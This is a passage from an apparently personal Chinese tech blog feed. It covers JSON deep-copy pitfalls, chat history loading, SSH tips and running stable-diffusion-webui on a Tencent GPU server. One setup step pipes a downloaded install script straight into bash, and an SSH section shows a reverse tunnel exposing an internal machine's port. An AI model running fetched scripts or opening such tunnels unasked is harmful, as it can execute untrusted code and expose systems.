<li><a href="https://segmentfault.com/a/1190000018495737"  target="_blank" rel="noopener" >javascript - 关于JSON.parse()和JSON.stringify()的性能小测试 - 超级有温度的代码 - SegmentFault 思否</a></li>
<li><a href="https://segmentfault.com/a/1190000020297508"  target="_blank" rel="noopener" >javascript - 关于 JSON.parse(JSON.stringify(obj)) 实现深拷贝的一些坑 - 超级有温度的代码 - SegmentFault 思否</a></li>
</ul>
<p>我将其中的主要内容摘录如下：</p>
<ol>
<li>只适用于一般数据的拷贝(结合上文，可以发现这里的问题主要来自JSON.stringify对特殊情况的处理)</li>
</ol>
<blockquote>
<p>1.如果json里面有时间对象，则序列化结果：时间对象=&gt;字符串的形式；
2.如果json里有RegExp、Error对象，则序列化的结果将只得到空对象 RegExp、Error =&gt; {}；
3.如果json里有 function,undefined，则序列化的结果会把 function,undefined 丢失；
4.如果json里有NaN、Infinity和-Infinity，则序列化的结果会变成null；
5.如果json里有对象是由构造函数生成的，则序列化的结果会丢弃对象的 constructor；
6.如果对象中存在循环引用的情况也无法实现深拷贝</p>
</blockquote>
<ol start="2">
<li>性能问题：</li>
</ol>
<blockquote>
<p>能不用JSON.parse()和JSON.stringify()就不用，采用替代方案且性能更优的。PS：特别是需要多次执行的代码块或是这个JSON数据比较庞大时</p>
</blockquote>
<p>这里的第二点我深有体会，之前我便写过这样一段代码，它将一张100kb左右的图片转码为base64，塞进了json中，并序列化为字符串进行传输，接收端再将其反序列化后提取出来。后来重构代码时，这一段代码就成了提升性能的一大突破口。</p>
<h3 id="替代方案">替代方案</h3>
<p><a href="https://segmentfault.com/a/1190000016672263#item-1"  target="_blank" rel="noopener" >javascript - 深拷贝的终极探索（99%的人都不知道） - 颜海镜 - SegmentFault 思否</a></p>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse"  target="_blank" rel="noopener" >JSON.parse() - JavaScript | MDN</a></li>
<li><a href="https://segmentfault.com/a/1190000018495737"  target="_blank" rel="noopener" >javascript - 关于JSON.parse()和JSON.stringify()的性能小测试 - 超级有温度的代码 - SegmentFault 思否</a></li>
<li><a href="https://segmentfault.com/a/1190000020297508"  target="_blank" rel="noopener" >javascript - 关于 JSON.parse(JSON.stringify(obj)) 实现深拷贝的一些坑 - 超级有温度的代码 - SegmentFault 思否</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>拉取历史消息的实现</title>
      <link>https://ds63.eu.org/2024/implementation_of_pulling_historical_messages/</link>
      <pubDate>Tue, 20 Aug 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/implementation_of_pulling_historical_messages/</guid>
      <description>实现拉取历史消息时踩过的坑</description>
      <content:encoded><![CDATA[<h2 id="存在问题">存在问题</h2>
<p>聊天页有个功能需求：下拉加载历史记录。</p>
<p>这样的需求很自然，而且日常使用中也随处可见，但真正要自己去实现，还是遇到了不少问题。</p>
<p>一个基础的思路是：</p>
<ol>
<li>监听下拉操作，下拉结束后从后端获取历史记录并将其放进聊天记录数组</li>
<li>新获取的历史记录会将你刚刚看的信息挤下去，这时你要往上拉才能回到你刚刚看的信息。</li>
<li>虽然可以通过获取刚看的那条信息的位置，等历史记录拉取下来后再通过改变滚动条回到其原来的位置，但这样会让页面出现闪动，信息会先下去，然后再上来。</li>
</ol>
<hr>
<h2 id="intersectionobserver">IntersectionObserver</h2>
<ul>
<li><a href="https://mp.weixin.qq.com/s/vhpXEaumPp5VvR7Zt9jGkQ"  target="_blank" rel="noopener" >不到20行js实现高性能图片懒加载</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver"  target="_blank" rel="noopener" >IntersectionObserver - Web APIs | MDN</a></li>
<li><a href="https://medium.com/strise/making-use-of-observers-in-react-a29b1fd05fa7"  target="_blank" rel="noopener" >Making use of Observers in React. Ever needed to manipulate the DOM when… | by Jens Lind | Strise | Medium</a></li>
<li><a href="https://dev.to/hey_yogini/infinite-scrolling-in-react-with-intersection-observer-22fh"  target="_blank" rel="noopener" >Infinite scrolling in React with intersection observer - DEV Community</a></li>
</ul>
<hr>
<h2 id="滚动到对应位置">滚动到对应位置</h2>
<ul>
<li><a href="https://react.dev/learn/manipulating-the-dom-with-refs#how-to-manage-a-list-of-refs-using-a-ref-callback"  target="_blank" rel="noopener" >Manipulating the DOM with Refs – React</a></li>
</ul>
<hr>
<h2 id="overflow-anchor">overflow-anchor</h2>
<ul>
<li><a href="https://juejin.cn/post/7112349799373864996"  target="_blank" rel="noopener" >解决聊天页下拉加载历史记录，新获取的历史记录把刚看的信息挤下去的问题 - 掘金</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/overflow-anchor"  target="_blank" rel="noopener" >overflow-anchor - CSS: Cascading Style Sheets | MDN</a></li>
<li><a href="https://css-tricks.com/almanac/properties/o/overflow-anchor/"  target="_blank" rel="noopener" >Overflow-anchor | CSS-Tricks</a></li>
</ul>
<blockquote>
<p>Scroll Anchoring is a browser feature that attempts to prevent a common situation where you may scroll down a webpage before the DOM has fully loaded and, when it does, any elements that load above your current location push you further down the page.</p>
</blockquote>
<hr>
<h2 id="反向渲染">反向渲染</h2>
<p>这个设计很妙，但我没有使用。</p>
<p><a href="https://www.alloyteam.com/2020/04/14349/comment-page-1/#comments"  target="_blank" rel="noopener" >前端开发中聊天场景的体验优化 | AlloyTeam</a></p>
<hr>
<h2 id="计算并设置正确的滚动位置">计算并设置正确的滚动位置</h2>
<ul>
<li>
<p><a href="https://cloud.tencent.com/developer/article/2176884"  target="_blank" rel="noopener" >React中将一直增加消息的滚动框保持在当前浏览的位置-腾讯云开发者社区-腾讯云</a></p>
</li>
<li>
<p><a href="https://www.zhangxinxu.com/wordpress/2018/02/container-scroll-position-hold/"  target="_blank" rel="noopener" >小tips: 滚动容器尺寸变化子元素视觉上位置不变JS实现 « 张鑫旭-鑫空间-鑫生活</a></p>
</li>
</ul>
<hr>
<h2 id="位置不对">位置不对</h2>
<p>最终滚动到的位置和预期位置不对应。排查后发现是图片没有占位符导致的。</p>
<p>可参考<a href="https://www.shymean.com/article/%E5%89%8D%E7%AB%AF%E4%BD%93%E9%AA%8C%E4%BC%98%E5%8C%96%E4%B9%8B%E5%9B%BE%E7%89%87%E5%8A%A0%E8%BD%BD%E9%97%AA%E7%83%81"  target="_blank" rel="noopener" >前端体验优化之图片加载闪烁 | ShyMean</a></p>
]]></content:encoded>
    </item>
    
    <item>
      <title>ssh连接二三事</title>
      <link>https://ds63.eu.org/2024/things_about_ssh/</link>
      <pubDate>Sat, 17 Aug 2024 23:15:49 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/things_about_ssh/</guid>
      <description>some thing about ssh</description>
      <content:encoded><![CDATA[<h2 id="免密登录">免密登录</h2>
<ol>
<li>将公钥添加到 <code>~/.ssh/authorized_keys </code></li>
<li>添加权限: <code>chmod 600 ~/.ssh/authorized_keys</code>, <code>chmod 700 ~/.ssh</code></li>
<li>登录: <code>ssh username@server_ip</code></li>
</ol>
<h2 id="github相关">Github相关</h2>
<ul>
<li>
<p>作用：use SSH to perform Git operations in repositories on GitHub.com</p>
</li>
<li>
<p>步骤:</p>
<ol>
<li><a href="https://docs.github.com/en/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key"  target="_blank" rel="noopener" >Generating a new SSH key and adding it to the ssh-agent - GitHub Docs</a></li>
</ol>
<p><code>ssh-keygen -t ed25519 -C &quot;your_email@example.com&quot;</code>
2. <a href="https://docs.github.com/en/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key"  target="_blank" rel="noopener" >Generating a new SSH key and adding it to the ssh-agent - GitHub Docs</a>
3. Testing your SSH connection: <code>ssh -T git@github.com</code>
4. <a href="https://docs.github.com/en/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account"  target="_blank" rel="noopener" >Adding a new SSH key to your GitHub account - GitHub Docs</a></p>
</li>
</ul>
<h2 id="使用端口转发来远程连接内网的机器">使用端口转发来远程连接内网的机器</h2>
<ul>
<li>涉及到三台机器，身边的电脑a，具有公网ip的机器b，远程需要被访问的电脑c</li>
<li>核心思想: 使用一台能被双方访问得到的公网机器作为代理</li>
<li>步骤:
<ol>
<li>电脑c需要执行<code>ssh -oPort=22 -CNfg -R 40000:localhost:22 root@公网ip -oPort</code></li>
<li>使用电脑a通过ssh登陆到机器b，再通过ssh连接本地40000端口，这样就相当于连接到了电脑c的22端口</li>
</ol>
</li>
<li>参考: <a href="https://blog.fatedier.com/2015/07/22/ssh-port-forwarding/"  target="_blank" rel="noopener" >SSH 端口转发</a></li>
</ul>
<h2 id="持续部署">持续部署</h2>
<ul>
<li><a href="https://github.com/webfactory/ssh-agent"  target="_blank" rel="noopener" >webfactory/ssh-agent: GitHub Action to setup <code>ssh-agent</code> with a private key</a>这个action可以用来在GitHub Action进行ssh连接。</li>
<li>不过考虑到安全问题，最好是是利用SSHD来限制可执行的指令, 具体参见<a href="https://blog.caomingjun.com/secure-ssh-continuous-deployment-with-forcecommand/"  target="_blank" rel="noopener" >安全地使用 SSH 进行持续部署 - Cmj&rsquo;s Blog</a></li>
</ul>
<h2 id="id_rsa和-xxpem的区别和联系">id_rsa和 xx.pem的区别和联系</h2>
<ul>
<li>id_rsa 是一个私钥文件，通常用于 SSH 认证</li>
<li>xx.pem 文件则通常是 PEM 格式，可能包含私钥、公钥或证书，广泛用于 SSL/TLS,可以用于多种加密场景</li>
</ul>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://zhuanlan.zhihu.com/p/472660528"  target="_blank" rel="noopener" >如何优雅地在你的Windows主力机上通过SSH远程控制你的服务器（centos） - 知乎</a></li>
<li><a href="https://blog.legalhub.cn/2022/10/16/qunhui-nas-ssh-login/"  target="_blank" rel="noopener" >群晖 NAS 实现 SSH 免密码登录 | LEGALGEEK</a></li>
<li><a href="https://blog.csdn.net/YYwxcsdn/article/details/134764938"  target="_blank" rel="noopener" >VS Code Remote-ssh 远程控制Windows主机 + 免密登录 + 内网穿透_vscode 免密ssh 连接 windows-CSDN博客</a></li>
<li><a href="https://plantegg.github.io/2019/06/02/%E5%8F%B2%E4%B8%8A%E6%9C%80%E5%85%A8_SSH_%E6%9A%97%E9%BB%91%E6%8A%80%E5%B7%A7%E8%AF%A6%E8%A7%A3--%E6%94%B6%E8%97%8F%E4%BF%9D%E5%B9%B3%E5%AE%89/"  target="_blank" rel="noopener" >史上最全 SSH 暗黑技巧详解 | plantegg</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>腾讯高性能应用服务体验</title>
      <link>https://ds63.eu.org/2024/the-use-experience-of-tencent-hai/</link>
      <pubDate>Wed, 07 Aug 2024 23:05:49 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/the-use-experience-of-tencent-hai/</guid>
      <description>国内真卷啊</description>
      <content:encoded><![CDATA[<h2 id="前言">前言</h2>
<p>最近刚好有将stable-difussion服务运行在服务器的需求，首先考虑的是amazon，但最便宜的那款一小时都要1美元多，偶然间发现腾讯云有活动<a href="https://cloud.tencent.com/product/hai"  target="_blank" rel="noopener" >高性能应用服务HAI_GPU云服务器_腾讯云</a>，价格如下</p>
<ul>
<li>GPU 基础型算力套餐
<ul>
<li>显存大小：16 GB</li>
<li>算力大小：8+TFlops SP</li>
<li>CPU：8 核，内存：32GB</li>
<li>1.2元每h</li>
<li>学生特惠，150元买250 小时 GPU基础型算力套餐</li>
</ul>
</li>
<li>这参数其实就是<a href="https://www.nvidia.com/en-us/data-center/tesla-t4/"  target="_blank" rel="noopener" >NVIDIA T4 Tensor Core GPU for AI Inference | NVIDIA Data Center</a></li>
</ul>
<p>这价格快比电费还便宜了，于是买了一张150元的现金券来体验下。</p>
<h2 id="需求">需求</h2>
<p>我想使用该服务器跑一个被我魔改后的stable-difussion-webui，而它提供了一键部署Stable Difussion WebUI的选项。</p>
<p>如果能使用这装好的python环境，那我能省事很多。而且我也好奇这是怎么做的。以下是我的过程。</p>
<h2 id="ssh连接">ssh连接</h2>
<p>第一步肯定是得连接上去。</p>
<p>但在<a href="https://console.cloud.tencent.com/hai/instance"  target="_blank" rel="noopener" >腾讯云 - 控制台</a>并不能找到连接的按钮，还以为不提供,找文档找到了<a href="https://cloud.tencent.com/document/product/1721/102197"  target="_blank" rel="noopener" >高性能应用服务 连接 Linux 算力-操作指南-文档中心-腾讯云</a>。</p>
<p>看到方式一，很熟悉啊，于是就去做了。</p>
<p>(写这篇文章的时候我又看了遍这个文档，发现还有方式二：通过 Terminal 连接算力)，然后我才发现它提供的JupyterLab有项目的基础介绍。所以其实我下面写的这些很大一部分其实人都写得很明白了,╮(╯-╰)╭  ）</p>
<h2 id="找到python依赖的安装位置">找到python依赖的安装位置</h2>
<p>一进去先<code>ls</code>,发现有个miniconda3,答案就呼之欲出了，请ChatGPT写了个简单的cheatsheet:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 创建一个新的 Conda 环境</span>
</span></span><span class="line"><span class="cl">conda create --name myenv <span class="nv">python</span><span class="o">=</span>3.8
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 激活环境</span>
</span></span><span class="line"><span class="cl">conda activate myenv
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 停用环境</span>
</span></span><span class="line"><span class="cl">conda deactivate
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 列出所有 Conda 环境</span>
</span></span><span class="line"><span class="cl">conda env list
</span></span></code></pre></div><h2 id="node运行装在conda的python">node运行装在conda的python</h2>
<p>我需要用node去调用python，可以这样做</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">workDir</span> <span class="o">=</span> <span class="s2">&#34;/root/my-stable-diffusion-webui&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">webUIProcess</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">URL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">initWebGUI</span> <span class="o">=</span> <span class="nx">_</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="k">new</span> <span class="nb">Promise</span><span class="p">(</span><span class="nx">resolve</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;initWebGUI start&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nx">process</span><span class="p">.</span><span class="nx">chdir</span><span class="p">(</span><span class="nx">workDir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nx">webUIProcess</span> <span class="o">=</span> <span class="nx">spawn</span><span class="p">(</span><span class="s1">&#39;/root/miniconda3/bin/python&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;launch.py&#39;</span><span class="p">,</span> <span class="s1">&#39;--xformers&#39;</span><span class="p">,</span> <span class="s1">&#39;--api&#39;</span><span class="p">,</span><span class="s1">&#39;--nobrowser&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nx">webUIProcess</span><span class="p">.</span><span class="nx">stdout</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="s1">&#39;data&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`stdout: </span><span class="si">${</span><span class="nx">data</span><span class="si">}</span><span class="sb">`</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="nx">resolve</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">});</span>
</span></span><span class="line"><span class="cl">        <span class="nx">webUIProcess</span><span class="p">.</span><span class="nx">stderr</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="s1">&#39;data&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="kr">const</span> <span class="nx">errorMessage</span> <span class="o">=</span> <span class="nx">data</span><span class="p">.</span><span class="nx">toString</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">            <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="sb">`stderr: </span><span class="si">${</span><span class="nx">errorMessage</span><span class="si">}</span><span class="sb">`</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c1">// Check for errors, assuming warnings do not contain &#39;error&#39;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="k">if</span> <span class="p">(</span><span class="sr">/error/i</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">errorMessage</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;Kill process...&#39;</span><span class="p">,</span> <span class="nx">webUIProcess</span><span class="p">.</span><span class="nx">pid</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="nx">webUIProcess</span><span class="p">.</span><span class="nx">kill</span><span class="p">();</span>  <span class="c1">// Kill the current process
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>                <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;Process&#39;</span><span class="p">,</span> <span class="nx">webUIProcess</span><span class="p">.</span><span class="nx">pid</span><span class="p">,</span> <span class="s1">&#39; killed.&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">});</span>
</span></span><span class="line"><span class="cl">    <span class="p">});</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>值得一提的是，因为该服务器将依赖将依赖全安装在了base这个环境下，所以路径就是<code>/root/miniconda3/bin/python</code></p>
<h2 id="基础环境配置">基础环境配置</h2>
<ol>
<li>nvm安装
<ul>
<li><a href="https://github.com/nvm-sh/nvm"  target="_blank" rel="noopener" >nvm-sh/nvm: Node Version Manager - POSIX-compliant bash script to manage multiple active node.js versions</a></li>
<li><code>wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.0/install.sh | bash</code></li>
</ul>
</li>
<li>redis安装: <code>apt-get install redis</code></li>
</ol>
<h2 id="下载所需的底模和lora文件">下载所需的底模和lora文件</h2>
<ol>
<li>因为我本地已经有相应的文件，于是我首先想的是上传。先是用的<a href="https://cyberduck.io/"  target="_blank" rel="noopener" >Cyberduck</a>,但连接失败，检查了下端口，也有开放，不知道啥原因，于是放弃</li>
<li>尝试直接使用sftp,<code>sftp username@your_server_ip</code> ,确实可行，于是请请ChatGPT写了个简单的cheatsheet:</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 连接到服务器</span>
</span></span><span class="line"><span class="cl">sftp username@your_server_ip
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 切换到远程目录</span>
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> /home/root/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 使用 lpwd 查看本地工作目录，lcd 切换本地目录：</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 上传本地文件</span>
</span></span><span class="line"><span class="cl">put C:<span class="se">\p</span>ath<span class="se">\t</span>o<span class="se">\e</span>xample.txt
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 使用 get 命令从远程服务器下载文件到本地：</span>
</span></span><span class="line"><span class="cl">get remotefile.txt
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 退出 sftp 会话</span>
</span></span><span class="line"><span class="cl"><span class="nb">exit</span>
</span></span></code></pre></div><p>但发现速度不尽如人意，于是放弃</p>
<ol start="3">
<li>
<p>这时候就可以将思维逆转过来。既然不能上传，那我就下载啊。我需要的底模文件是在<a href="https://civitai.com/models/276298/sdxl-pixel-art-or-base"  target="_blank" rel="noopener" >【SDXL】 Pixel Art | Base - v1.0 | Stable Diffusion Checkpoint | Civitai</a>，当我直接复制下载链接，使用wget会报错，需要认证。查文档查到了<a href="https://education.civitai.com/civitais-guide-to-downloading-via-api/#step-by-step"  target="_blank" rel="noopener" >Civitai&rsquo;s Guide to Downloading via API - Civitai Education</a>。最终能运行的命令类似于:  <code>curl -L -H &quot;Content-Type: application/json&quot; -H &quot;Authorization: Bearer your_token&quot; https://civitai.com/api/download/models/311399 -o SDXLPixelArtBase_v10.safetensors</code></p>
</li>
<li>
<p>lora文件我则将上传到了s3上。它有个<code>share with presigned URL</code>,于是我想当然地使用，但发现还是报错。最后还是直接用的<code>Object URL</code></p>
</li>
<li>
<p>后来发现文档中推荐的下载是这样写的:</p>
<ul>
<li>建议将基础模型文件转存至与HAI实例同地域的COS桶中，再在HAI实例中拉取COS文件，速度最快</li>
<li>国内地域HAI实例可能存在网络不稳定情况，推荐启用“学术加速”；国外地域HAI实例下载模型、插件速度更快</li>
</ul>
<p>好一个“学术加速”</p>
</li>
</ol>
<h2 id="运行时报错">运行时报错</h2>
<ul>
<li>
<p><a href="https://stackoverflow.com/questions/59572174/no-module-named-dotenv-python-3-8"  target="_blank" rel="noopener" >import - no module named &lsquo;dotenv&rsquo; python 3.8 - Stack Overflow</a></p>
<p><code>pip install python-dotenv</code></p>
</li>
</ul>
<h2 id="pm2使用">pm2使用</h2>
<p>再再请ChatGPT写了个简单的cheatsheet:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 安装</span>
</span></span><span class="line"><span class="cl">npm install pm2 -g
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 指定env文件 </span>
</span></span><span class="line"><span class="cl">pm2 start <span class="s2">&#34;node --env-file=.env app.js&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 查看 PM2 中正在运行的进程</span>
</span></span><span class="line"><span class="cl">pm2 list
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 查看应用程序日志</span>
</span></span><span class="line"><span class="cl">pm2 logs my-app
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 停止应用程序：</span>
</span></span><span class="line"><span class="cl">pm2 stop my-app
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 重启应用程序：</span>
</span></span><span class="line"><span class="cl">pm2 restart my-app
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 删除应用程序：</span>
</span></span><span class="line"><span class="cl">pm2 delete my-app
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 检查日志</span>
</span></span><span class="line"><span class="cl">pm2 logs app
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 实时监控</span>
</span></span><span class="line"><span class="cl">pm2 monit
</span></span></code></pre></div><h2 id="怎么开机自启的">怎么开机自启的</h2>
<p>服务跑着跑着爆显存了，感觉问题可能出在这个服务器运行了两个stable-difussion-webui，重启后发现还是有，那么它是怎么做到开机自启的呢？</p>
<p>我先后检查了以下几处（还是请ChatGPT帮的忙）:</p>
<ol>
<li>systemctl</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">systemctl list-unit-files --type<span class="o">=</span>service --state<span class="o">=</span>enabled
</span></span><span class="line"><span class="cl">systemctl list-units --type<span class="o">=</span>service --state<span class="o">=</span>running
</span></span></code></pre></div><p>这个命令将列出所有在系统启动时启用的服务。</p>
<ol start="2">
<li>检查 <code>/etc/init.d/</code>
在一些较旧的系统或特定的服务中，可以通过检查 <code>/etc/init.d/</code> 目录来查看初始化脚本：</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">ls /etc/init.d/
</span></span></code></pre></div><p>这些脚本通常用于传统的 <code>init</code> 系统，在启动时运行。</p>
<ol start="4">
<li>cron</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo crontab -l
</span></span><span class="line"><span class="cl">sudo crontab -u &lt;username&gt; -l
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">cat /etc/crontab
</span></span><span class="line"><span class="cl">cat /etc/cron.*/*
</span></span></code></pre></div><h3 id="5-检查-rclocal">5. <strong>检查 <code>rc.local</code></strong></h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo vim /etc/rc.local
</span></span></code></pre></div><p>以上检查都无果后，我想起了查看当前进程:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="c1"># 显示当前终端中的所有进程：</span>
</span></span><span class="line"><span class="cl">ps -ef
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 比较可疑的包括</span>
</span></span><span class="line"><span class="cl">root           <span class="m">1</span>       <span class="m">0</span>  <span class="m">0</span> 12:35 ?        00:00:00 /usr/bin/dumb-init -- /usr/local/bin/application_init.s
</span></span><span class="line"><span class="cl">root           <span class="m">7</span>       <span class="m">1</span>  <span class="m">0</span> 12:35 pts/0    00:00:00 /bin/bash /usr/local/bin/application_init.sh
</span></span><span class="line"><span class="cl">root          <span class="m">16</span>       <span class="m">7</span>  <span class="m">0</span> 12:35 pts/0    00:00:00 /usr/bin/python3 /usr/bin/supervisord -c /etc/superviso
</span></span><span class="line"><span class="cl">root          <span class="m">18</span>      <span class="m">16</span>  <span class="m">0</span> 12:35 pts/0    00:00:00 /bin/bash /usr/local/bin/launch_jupyter.sh
</span></span><span class="line"><span class="cl">root          <span class="m">19</span>      <span class="m">16</span>  <span class="m">0</span> 12:35 pts/0    00:00:00 sshd: /usr/sbin/sshd -D <span class="o">[</span>listener<span class="o">]</span> <span class="m">0</span> of 10-100 startups
</span></span><span class="line"><span class="cl">root          <span class="m">20</span>      <span class="m">16</span>  <span class="m">0</span> 12:35 pts/0    00:00:00 /bin/bash /usr/local/bin/launch_stable_diffusion_webui.
</span></span><span class="line"><span class="cl">root          <span class="m">21</span>      <span class="m">18</span>  <span class="m">0</span> 12:35 pts/0    00:00:04 /root/miniconda3/bin/python3 /root/miniconda3/bin/jupyt
</span></span><span class="line"><span class="cl">root          <span class="m">22</span>      <span class="m">18</span>  <span class="m">0</span> 12:35 pts/0    00:00:00 tee -a /var/log/jupyter_service.log
</span></span><span class="line"><span class="cl">root          <span class="m">23</span>      <span class="m">20</span>  <span class="m">1</span> 12:35 pts/0    00:01:03 python3 -u launch.py --skip-prepare-environment --xform
</span></span><span class="line"><span class="cl">root          <span class="m">24</span>      <span class="m">20</span>  <span class="m">0</span> 12:35 pts/0    00:00:00 tee -a /var/log/sd_service.log
</span></span><span class="line"><span class="cl">root        <span class="m">1225</span>      <span class="m">68</span>  <span class="m">0</span> 12:50 pts/1    00:00:00 vim /etc/systemd/system/supervisord.service
</span></span><span class="line"><span class="cl">root        <span class="m">1994</span>      <span class="m">21</span>  <span class="m">0</span> 13:29 ?        00:00:00 /root/miniconda3/bin/python3 -m ipykernel_launcher -f /
</span></span></code></pre></div><p>于是找到了<code>supervisord</code></p>
<h2 id="supervisord的使用">supervisord的使用</h2>
<ol>
<li>请ChatGPT写了个简单的介绍:</li>
</ol>
<blockquote>
<p>supervisord 是一个流行的进程控制系统，用于管理和监控 Unix-like 操作系统上的进程。它提供了一种简单的方式来启动、停止、重启和监控进程。supervisord 是 supervisor 的守护进程，而 supervisor 是用于管理进程的客户端工具。</p>
</blockquote>
<ol start="2">
<li>用<code>whereis supervisord</code>找到了配置文件的位置，是在<code>/etc/supervisord.conf</code>,
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="o">[</span>program:stable_diffusion_webui<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="nv">command</span><span class="o">=</span>/usr/local/bin/launch_stable_diffusion_webui.sh
</span></span><span class="line"><span class="cl"><span class="nv">autostart</span><span class="o">=</span><span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="nv">autorestart</span><span class="o">=</span><span class="nb">false</span>
</span></span><span class="line"><span class="cl"><span class="nv">numprocs</span><span class="o">=</span><span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="nv">redirect_stderr</span><span class="o">=</span><span class="nb">true</span>
